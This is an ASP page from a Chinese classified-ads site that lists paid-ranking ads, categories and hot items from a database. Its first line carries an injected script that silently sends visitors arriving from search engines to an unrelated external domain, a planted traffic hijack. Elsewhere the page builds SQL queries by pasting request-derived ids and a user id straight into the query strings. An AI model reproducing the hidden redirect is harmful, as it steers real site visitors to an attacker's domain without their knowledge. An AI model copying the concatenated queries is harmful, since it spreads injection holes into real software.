d:\wwwroot\wuchunhua\money.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="head.asp"-->
002: <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
003: <!-- 这里是主题 -->
004: <%dim sql,rs,thepage,currentpage,pagename,totalpage,n,page
005:
006:
007: if city_oneid<>0 and city_twoid=0 then cityid="city_oneid="&city_oneid&" and "
008: if city_oneid<>0 and city_twoid<>0 and city_threeid=0 then cityid="city_oneid="&city_oneid&" and city_twoid="&city_twoid&" and "
009: if city_oneid<>0 and city_twoid<>0 and city_threeid<>0 then cityid="city_oneid="&city_oneid&" and city_twoid="&city_twoid&" and city_threeid="&city_threeid&" and "
010: if type_oneid<>0 and type_twoid=0 then typeid="type_oneid ="&type_oneid&" and "
011: if type_oneid<>0 and type_twoid<>0 and type_threeid=0 then typeid="type_oneid ="&type_oneid&" and type_twoid="&type_twoid&" and "
012: if type_oneid<>0 and type_twoid<>0 and type_threeid<>0 then typeid="type_oneid ="&type_oneid&" and type_twoid="&type_twoid&" and type_threeid="&type_threeid&" and "
013: if city_oneid<>0 and city_twoid=0 then city_id="&city_oneid="&city_oneid&""
014: if city_oneid<>0 and city_twoid<>0 and city_threeid=0 then city_id="&city_oneid="&city_oneid&"&city_twoid="&city_twoid&""
015: if city_oneid<>0 and city_twoid<>0 and city_threeid<>0 then city_id="&city_oneid="&city_oneid&"&city_twoid="&city_twoid&"&city_threeid="&city_threeid&""
016: if type_oneid<>0 and type_twoid=0 then type_id="&type_oneid="&type_oneid&""
017: if type_oneid<>0 and type_twoid<>0 and type_threeid=0 then type_id="&type_oneid="&type_oneid&"&type_twoid="&type_twoid&""
018: if type_oneid<>0 and type_twoid<>0 and type_threeid<>0 then type_id="&type_oneid="&type_oneid&"&type_twoid="&type_twoid&"&type_threeid="&type_threeid&""
019: type_id=city_id&type_id
020: %
>
021: <TABLE width="760" height="2" border="0" align="center" cellpadding="0" cellspacing="0">
022:   <TR> </TR>
023: </TABLE>
024: <TABLE width="860"  border="0" align="center" cellpadding="0" cellspacing="0">
025:   <TR valign="top">
026:     <TD width="580"><TABLE width="100%"  border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0">
027:       <TR>
028:         <TD bgcolor="#FFFFFF"><TABLE width="96%"  border="0" align="center" cellpadding="0" cellspacing="0">
029:           <TR>
030:             <TD height="30"  colspan="3"><STRONG> <IMG src="images/img.gif" width="12" height="12">&nbsp;
031:          <%if city_oneid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&""">"&aa1&"</a>&gt;&gt;"
032:          if city_twoid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&"&city_twoid="&city_twoid&""">"&aa2&"</a>&gt;&gt;"
033:          if city_threeid>0 then response.write "<a href=""index.asp?city_oneid="&city_oneid&"&city_twoid="&city_twoid&"&city_threeid="&city_threeid&""">"&aa3&"</a>&gt;&gt;"
034:          %
>
035:             分类信息&gt;&gt;
036:          <%if type_oneid>0 then
037:          set rs1=server.createobject("adodb.recordset")
038: rs1.open "select * from china_type where id ="&type_oneid&" and twoid=0 and threeid=0",conn,1,1
039: tyone=rs1("name")
040: tyname=tyone
041: rs1.close
042: if type_twoid<>0 then
043: rs1.open "select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid=0",conn,1,1
044: tytwo=rs1("name")
045: tyname=tytwo
046: rs1.close
047: if type_threeid<>0 then
048: rs1.open "select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid="&type_threeid,conn,1,1
049: tythree=rs1("name")
050: tyname=tythree
051: rs1.close
052: end if
053: end if
054: set rs1=nothing
055: end if
056: if type_threeid<>0 then
057: response.write "<a href=""?type_oneid="&type_oneid&city_id&""">"&tyone&"</a>>><a href=""?type_oneid="&type_oneid&"&type_twoid="&type_twoid&city_id&""">"&tytwo&"</a>"&tythree&""
058: elseif type_twoid<>0 then
059: response.write "<a href=""?type_oneid="&type_oneid&city_id&""">"&tyone&"</a>>>"&tytwo
060: else
061: response.write tyone
062: end if%
>&gt;&gt;竟价信息</STRONG></TD>
063:           </TR>
064: <%if type_oneid=0 then  sql="select * from china_type where id >0 and twoid=0 and threeid=0 order by indexid asc"
065: if type_oneid<>0 and type_twoid=0 and type_threeid=0 then sql="select * from china_type where id ="&type_oneid&" and twoid<>0 and threeid=0 order by indexid asc"
066: if type_oneid<>0 and type_twoid<>0 and type_threeid=0 then sql="select * from china_type where id ="&type_oneid&" and twoid="&type_twoid&" and threeid<>0 order by indexid asc"
067: set rs1=server.createobject("adodb.recordset")
068: rs1.open sql,conn,1,1  
069: if rs1.eof then
070: response.Write "暂无下级分类"
071: else
072: i=0
073: do while not rs1.eof
074: if i mod 3=0 then response.write "<tr height=""30"">"
075: if rs1("threeid")>0 then
076: count1="and type_oneid="&rs1("id")&" and type_twoid="&rs1("twoid")&" and type_threeid="&rs1("threeid")
077: elseif rs1("twoid")>0 then
078: count1="and type_oneid="&rs1("id")&" and type_twoid="&rs1("twoid")
079: else
080: count1="and type_oneid="&rs1("id")
081: end if
082: response.write "<td width=""33%"">·<a href=""money.asp?type_oneid="&rs1("id")&"&type_twoid="&rs1("twoid")&"&type_threeid="&rs1("threeid")&city_id&"""><b><font style=""font-size:10.5pt"" color=""#0044DD"">"&rs1("name")&"</font></b></a><font color=#ff0000>&nbsp;&nbsp;("&conn.execute("select count(*) from [china_data] where "&cityid&" stop>=date() and money>0 and mark='yes' "&count1&"")(0)&")</font></td>"
083: rs1.movenext
084: i=i+1
085: if i mod 3=0 then response.write "</tr>"
086: loop
087: if i mod 3<>0 then
088: do while i mod 3<>0
089: response.write "<td width=""33%"">&nbsp;</td>"
090: i=i+1
091: loop
092: response.write "</tr>"
093: end if
094: end if
095: rs1.close:Set rs1=nothing%
>
096:           <TR>
097:             <TD colspan="3" background="images/news_022.gif">&nbsp;</TD>
098:           </TR>
099:           <%sql="select * from [china_data] where "&cityid&" "&typeid&" mark='yes' and stop >= date() and money>0 order by top,money desc,time desc"
100: set rs=server.createobject("adodb.recordset")
101: rs.open sql,conn,1,1
102: if rs.eof then
103: response.write "<tr height=""28""><td colspan=""3"">暂无竞价信息</td></tr>"
104: else
105: thepage=request("pageid")
106: if isnumeric(thepage)=false then
107: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
108: response.end
109: end if
110: currentpage = cLng(thepage)            
111: if currentpage <= 0 then currentpage=1      
112: const maxperpage=10                      
113: rs.Pagesize = maxperpage  
114: pagename="money.asp"                    
115: totalpage = rs.PageCount
116: rs.absolutepage = currentpage
117: n=rs.recordcount                    
118: page = PageSplit(currentpage,totalpage,pagename,type_id)
119: if n>10 then
120: response.write "<tr><td height=""25"" colspan=""3""><a href=""ad.asp""><font style=""font-size:14px"" color=""#0000BF"">全部广告</font></a>&nbsp;&nbsp;页次:<b>"&currentpage&"/"&totalpage&"</b>&nbsp;&nbsp;每页<b>"&maxperpage&"</b>条&nbsp;&nbsp;共刊登<b>"&n&"</b>条"&tyname&"广告&nbsp;&nbsp;&nbsp;&nbsp;"&page&"</td></tr>"
121: response.write "<tr><td colspan=""3"" background=""images/news_022.gif"">&nbsp;</td></tr>"
122: end if
123: i=0
124: do while i < maxperpage and not rs.eof
125: response.write "<tr height=""25""><td colspan=""3""><img src=""images/news_021.gif"" width=""14"" height=""16"" align=""left"">&nbsp;&nbsp;<a href=""html/"&rs("adid")&".htm"" target=""_blank"">"
126: if rs("cu")="yes" then response.write "<b>"
127: response.write "<b><font "
128: if rs("color")<>"" then
129: response.write "color="&rs("color")
130: else
131: response.write "color=#0044DD"
132: end if
133: response.write ">"&rs("title")&"</font></b>"
134: if rs("cu")="yes" then response.write "</b>"
135: response.write "</a>"
136: if rs("pic")<>"" then response.write "<font color=#ff0000>[图]</font>"
137: response.write "</td></tr><tr height=""22""><td colspan=""2"" width=""80%""><a href=""html/"&rs("adid")&".htm"" target=""_blank"">"
138: text=Replace(Replace(rs("text"),"&nbsp;"," "),"<br>","")
139: response.write "<p style=""line-height: 150%"">"
140: if len(text)>60 then
141: response.write left(text,60)&"..."
142: else
143: response.write text
144: end if
145: response.write "</p>"
146: response.write "</a></td><td  width=""20%"" align=""right"">"
147: if rs("uid")<>"" then qq=conn.execute("select qq from [china_user] where uid='"&rs("uid")&"'")(0)
148: if qq<>"" and qq<>"未填" and not isnull(qq) then response.write "<a target=blank href=http://wpa.qq.com/msgrd?V=1&Uin="&qq&"&Site="&webname&"&Menu=yes><img border=""0"" src=http://wpa.qq.com/pa?p=1:"&qq&":6 alt=""点击这里给我发消息""></a><br>城市:"
149: response.write rs("city_one")
150: if rs("city_twoid")>0 then response.write "-"&rs("city_two")
151: if rs("city_threeid")>0 then response.write "-"&rs("city_three")
152: response.write "</td></tr>"
153: response.write "<tr height=""22""><td colspan=""3""><font color=#999999><i>(发布:"&rs("date")&"&nbsp;&nbsp;有效期还有"&datediff("d",date(),rs("stop"))&"天&nbsp;&nbsp;联系人:"&rs("username")&"&nbsp;&nbsp;TEL:"&rs("tel")&")</i></font></td></tr>"
154: response.write "<tr><td colspan=""3"" background=""images/news_022.gif"">&nbsp;</td></tr>"
155: rs.movenext
156: i=i+1
157: loop
158: end if
159: if n>10 then%
>
160:           <TR>
161:             <TD colspan="3"><A href="ad.asp"><FONT style="font-size:14px" color="#0000BF">全部广告</FONT></A>&nbsp;&nbsp;页次:<B><%=currentpage%>/<%=totalpage%></B>&nbsp;&nbsp;每页<B><%=maxperpage%></B>条&nbsp;&nbsp;共刊登<B><%=n%></B>条<FONT color="#FF0000"><%=tyname%></FONT>广告&nbsp;&nbsp;&nbsp;&nbsp;
162:                 <%response.write page%></TD>
163:           </TR>
164:           <%end if%>
165:           <TR>
166:             <TD>&nbsp;</TD>
167:           </TR>
168:         </TABLE></TD>
169:       </TR>
170:     </TABLE></TD>
171:     <TD width="10">&nbsp;</TD>
172:     <TD width="270"><TABLE width="100%"  border="0" cellpadding="0" cellspacing="1" bgcolor="C0C0C0">
173:       <TR>
174:         <TD bgcolor="#FFFFFF"><TABLE width="92%"  border="0" align="center" cellpadding="0" cellspacing="0">
175:             <TR valign="bottom">
176:               <TD height="28" colspan="2"><SPAN style="font-weight: bold; color: #990000;">竟价排名分类信息</SPAN></TD>
177:             </TR>
178:             <TR>
179:               <TD colspan="2"><TABLE width="100%"  border="0" cellspacing="0" cellpadding="0">
180:                   <TR>
181:                     <TD><HR size="1" color="#C0C0C0"></TD>
182:                   </TR>
183:                   <TR>
184:                     <TD>
185:                       <%response.write "<table width=""100%""  border=""0"" cellspacing=""4"" cellpadding=""0"" ><tr>"
186: set rs1=server.createobject("adodb.recordset")              
187: sql="select top 16 * from china_data where money>0 and stop >= date() and mark='yes' order by money desc"
188: rs1.open sql,conn,1,1
189: if rs1.eof then
190: response.write "<tr><td>暂无竞价排名分类信息</td></tr>"
191: else
192: i=0
193: do while not rs1.eof
194: if i mod 2=0 then response.write "<tr>"
195: response.write "<td><a title="&rs1("title")&" href=html/"&rs1("adid")&".htm target=blank><font style='size:12px'"
196: if rs1("color")<>"" then response.write "color="&rs1("color")
197: response.write ">"&left(rs1("title"),8)&"</font></a></td>"
198: rs1.movenext
199: i=i+1
200: if i mod 2=0 then response.write "</tr>"
201: loop
202: end if
203: rs1.close:set rs1=nothing
204: if i mod 2<>0 then response.write "<td></td></tr>"
205: response.write "</table>"%
></TD>
206:                   </TR>
207:                   <TR>
208:                     <TD><HR size="1" color="#C0C0C0"></TD>
209:                   </TR>
210:               </TABLE></TD>
211:             </TR>
212:             <TR>
213:               <TD width="25" height="200" bgcolor="DAF0FF"><DIV align="center"><STRONG>图<BR>
214:                   片<BR>
215:                   推<BR>
216:                   荐<BR>
217:                   信<BR>
218:                   息</STRONG></DIV>
219:                    
220:               </TD>
221:               <TD><%set rs1 = server.createobject("adodb.recordset")
222: sql="select top 4 adid,pic,color,title,cu from [china_data] where mark='yes' and mark='yes' and stop >= date() and hotpoto=1 and pic <>'' order by [top] desc,money desc,adid desc"            
223: rs1.open sql,conn,1,1  
224: if rs1.eof then
225: response.write "暂无推荐图片信息"
226: else
227: i=0
228: response.write "<table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr valign=""bottom"">"
229: do while not rs1.eof
230: if i mod 2=0 then response.write "<tr>"
231: response.write "<td align=""center""><a href=""html/"&rs1("adid")&".htm"" target=""_blank""><img src=""adpic/"&rs1("pic")&""" width=""100"" height=""90"" border=""0""></a><br>"
232: response.write "<a href=""html/"&rs1("adid")&".htm"" target=""_blank"">"
233: if rs1("cu")="yes" then
234: response.write "<b><font style=""font-size:9pt"""
235: if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
236: response.write ">"&left(rs1("title"),8)&"</font></b>"
237: else
238: response.write "<font style=""font-size:9pt"""
239: if rs1("color")<>"" then response.write " color="""&rs1("color")&""""
240: response.write ">"&left(rs1("title"),8)&"</font>"
241: end if
242: response.write "</a></td>"
243: rs1.movenext
244: i=i+1
245: if i mod 2=0 then response.write "</tr>"
246: loop
247: if i mod 2<>0 then response.write "<td></td></tr>"
248: response.write "</table>"
249: end if
250: rs1.close:set rs1=nothing%
></TD>
251:             </TR>
252:             <TR>
253:               <TD height="30" colspan="2" background="images/news_0024.gif">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="color: #990000"><STRONG>热点信息</STRONG></SPAN></TD>
254:             </TR>
255:             <TR>
256:               <TD colspan="2"><%response.write "<table width=""100%""  border=""0"" cellspacing=""4"" cellpadding=""0"" ><tr>"
257: set rs1=server.createobject("adodb.recordset")              
258: sql="select top 16 * from china_data where hot=1 and stop >= date() and mark='yes' order by adid desc"
259: rs1.open sql,conn,1,1
260: if rs1.eof then
261: response.write "<tr><td>暂无热点分类信息</td></tr>"
262: else
263: i=0
264: do while not rs1.eof
265: if i mod 2=0 then response.write "<tr>"
266: response.write "<td><a title="&rs1("title")&" href=html/"&rs1("adid")&".htm target=blank><font style='size:12px'"
267: if rs1("color")<>"" then response.write "color="&rs1("color")
268: response.write ">"&left(rs1("title"),8)&"</font></a></td>"
269: rs1.movenext
270: i=i+1
271: if i mod 2=0 then response.write "</tr>"
272: loop
273: end if
274: rs1.close:set rs1=nothing
275: if i mod 2<>0 then response.write "<td></td></tr>"
276: response.write "</table>"%
></TD>
277:             </TR>
278:             <TR>
279:               <TD colspan="2"><SCRIPT type="text/javascript"><!--
280: google_ad_client = "pub-7959465154098151";
281: google_ad_width = 250;
282: google_ad_height = 250;
283: google_ad_format = "250x250_as";
284: google_ad_type = "text_image";
285: google_ad_channel = "";
286: google_color_border = "E6E6E6";
287: google_color_bg = "FFFFFF";
288: google_color_link = "0000FF";
289: google_color_text = "000000";
290: google_color_url = "008000";
291: //-->

292: </SCRIPT>
293: <SCRIPT type="text/javascript"
294:   src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
295: </SCRIPT></TD>
296:             </TR>
297:         </TABLE>
298:           <TABLE  border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
299:             <TR>
300:               <TD height="8"></TD>
301:             </TR>
302:           </TABLE></TD>
303:       </TR>
304:     </TABLE></TD>
305:   </TR>
306: </TABLE>
307: <TABLE  border="0" cellpadding="0" cellspacing="0" align="center" id="table17">
308:   <TR>
309:     <TD height="8"></TD>
310:   </TR>
311: </TABLE>
312: <TABLE width="760" height="2" border="0" align="center" cellpadding="0" cellspacing="0">
313:   <TR>
314:   </TR>
315: </TABLE>
316: <TABLE border="0" width="760" cellspacing="0" cellpadding="0" bgcolor="#FFFFFF" align=center>
317:   <TR>
318:   </TR>
319: </TABLE><!-- 这里是主题结束 --><!--#include file="foot.asp"-->
320:
321:
322: